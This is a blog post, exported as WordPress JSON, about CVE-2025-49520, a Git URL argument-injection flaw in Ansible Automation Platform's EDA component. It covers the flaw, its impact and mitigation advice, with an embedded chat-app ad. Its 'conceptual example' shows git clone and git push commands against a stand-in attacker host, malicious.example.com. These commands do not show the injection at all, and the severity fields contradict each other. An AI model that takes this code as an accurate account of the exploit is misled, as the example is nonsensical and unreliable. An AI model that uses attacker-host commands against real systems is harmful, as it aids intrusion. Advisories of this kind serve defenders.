{"id":57860,"date":"2025-07-06T12:40:20","date_gmt":"2025-07-06T12:40:20","guid":{"rendered":""},"modified":"2025-09-26T14:05:12","modified_gmt":"2025-09-26T20:05:12","slug":"cve-2025-49520-ansible-automation-platform-s-eda-component-vulnerability","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49520-ansible-automation-platform-s-eda-component-vulnerability\/","title":{"rendered":"<strong>CVE-2025-49520: Ansible Automation Platform\u2019s EDA Component Vulnerability<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has identified a severe flaw in Ansible Automation Platform&#8217;s EDA component, tagged as CVE-2025-49520. This vulnerability potentially affects any organization or individual utilizing Ansible&#8217;s EDA component in their software infrastructure, particularly in Kubernetes\/OpenShift environments. The matter is of high concern because it allows authenticated attackers to execute arbitrary commands on the EDA worker, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6032-unverified-tls-certificate-in-podman-machine-init-command-leads-to-potential-man-in-the-middle-attack\/\"  data-wpil-monitor-id=\"64646\">potentially leading<\/a> to system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49520<br \/>\nSeverity: High (8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: High<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64866\">System compromise and potential data<\/a> leakage.<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-990997339\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49521-critical-vulnerability-in-eda-component-of-ansible-automation-platform\/\"  data-wpil-monitor-id=\"92354\">Ansible Automation<\/a> Platform | All versions before the patch<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29976-improper-privilege-management-vulnerability-in-microsoft-office-sharepoint\/\"  data-wpil-monitor-id=\"64913\">vulnerability exists due to improper<\/a> sanitization of user-supplied Git URLs which are passed unsanitized to the git ls-remote command in Ansible&#8217;s EDA component. An authenticated attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6562-os-command-injection-vulnerability-in-hunt-electronic-dvr-models\/\"  data-wpil-monitor-id=\"64865\">inject<\/a> arguments into this command and execute arbitrary commands on the EDA worker. If this occurs within a Kubernetes\/OpenShift environment, it may result in service account token theft, and the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25268-unauthenticated-adjacent-attacker-accessing-api-endpoint\/\"  data-wpil-monitor-id=\"77738\">attacker can gain access<\/a> to the cluster.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2907498799\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42959-unauthenticated-replay-attack-exploiting-hmac-reuse\/\"  data-wpil-monitor-id=\"77739\">attacker might exploit<\/a> this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\"># Attacker controls the Git repository\ngit clone http:\/\/malicious.example.com\/repo.git\n# Attacker pushes maliciously crafted repo to Ansible Automation Platform\ngit push ansible http:\/\/malicious.example.com\/repo.git\n# The maliciously crafted URL triggers the vulnerability in git ls-remote command\n# leading to arbitrary command execution on the EDA worker<\/code><\/pre>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, apply the vendor patch immediately as soon as it is available. Until the patch is available or can be applied, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as a temporary mitigation measure. Regularly review and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6791-sql-injection-vulnerability-in-centreon-web-monitoring-event-logs-module\/\"  data-wpil-monitor-id=\"84140\">monitor system logs<\/a> for any unusual or suspicious activity. Ensure that the principle of least privilege is followed, and only necessary permissions are granted.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has identified a severe flaw in Ansible Automation Platform&#8217;s EDA component, tagged as CVE-2025-49520. This vulnerability potentially affects any organization or individual utilizing Ansible&#8217;s EDA component in their software infrastructure, particularly in Kubernetes\/OpenShift environments. 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